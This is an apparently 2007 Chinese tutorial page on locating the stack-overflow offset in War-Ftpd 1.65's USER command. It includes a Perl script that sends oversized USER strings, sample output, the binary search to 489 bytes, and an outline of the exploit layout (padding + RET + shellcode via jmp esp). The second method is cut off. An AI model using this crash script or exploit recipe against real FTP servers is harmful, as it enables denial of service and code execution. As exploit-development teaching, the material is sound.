您的位置:首页 >> Web开发 >> CGI技术 >> 正文
RSS
 

堆践溢出点定位的2种方法

http://www.rdxx.com 07年11月10日 22:45 我要投稿

关键词: 溢出 , 方法 , , 定位

漏洞软件:War-Ftpd version 1.65
调试软件:Ollydbg
程序编写:perl

漏洞描叙:构造USER,导致stack溢出。
关于一些调试的问题请参考:《Win32缓冲区溢出实战》http://www.ph4nt0m.org/doc/20041101160955.pdf

我们首先模仿ftp登陆写个脚本,并把提交的user用AAAA.....表示个数用参数提交,我们要确定的溢出点,就是看当我们提交的AAA.....刚刚覆盖我们的ret的个数。

#!/usr/bin/perl
use IO::Socket;

$ARGC = @ARGV;
$host = "127.0.0.1";
$port = "2121";
$eff=@ARGV[0];
$buff='A'x$eff;

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "USER $buff\n";
print  "USER $buff\n";
close $sock;

下面我们使用2分法来确定这个$eff.首先用ollydbg加载我们War-Ftpd并运行。
我们运行的pl
C:\usr\bin>exp.pl 800
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA

当我们提交800个A时,溢出触发了,War-Ftpd挂了:).此时eip值为41414141。

这里我们重新用olldbg调试一次,这一次我们提交400个A:
C:\usr\bin>exp.pl 400
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA

这时漏洞根本就没有触发,说明我们的ret根本没有被我们提交的AAAA覆盖。 我们可以确定
$eff的值在400-800之间。

我们在测试550个A,漏洞又被我们触发了,那么我们确定$eff的值在400-550之间
....................

最后,当我们提交489个A时,最后的4个A覆盖了我们的返回地址(ret)ollydbg可以看到我们
的eip正好被41414141覆盖,因此我们确定溢出点了:).也就是我们可以初步确定exp提交的字符了:
USER AAAA.....(485个)+RET+ShellCode
接下来我们要做的就是确定shellcode的地址,我们调试可以看到在esp附近可以找到我们的shellcode
那么我们就可以采用jump exp(或call esp)的地址覆盖RET,那么我们的转跳就完成了...............
其实我们这里只是完成了exp的一个小部分,主要还有shellcode的编写和调试,这个部分由于我基础
没打好,现在还不怎么熟悉,努力ing:)。


b.利用2次溢出定位溢出点

这个方法最开始在黑防上见到的,例子是上次的那个War-Ftpd version 1.65的user漏洞

第1次溢出

上一页 下一页

 
 
标签: 溢出 , 方法 , , 定位 打印本文
 
 
  热点搜索
 
 
 



Valid XHTML 1.0 Transitional
Copyright ©2005 - 2008 Rdxx.Com,All Rights Reserved
收藏本页
收藏本站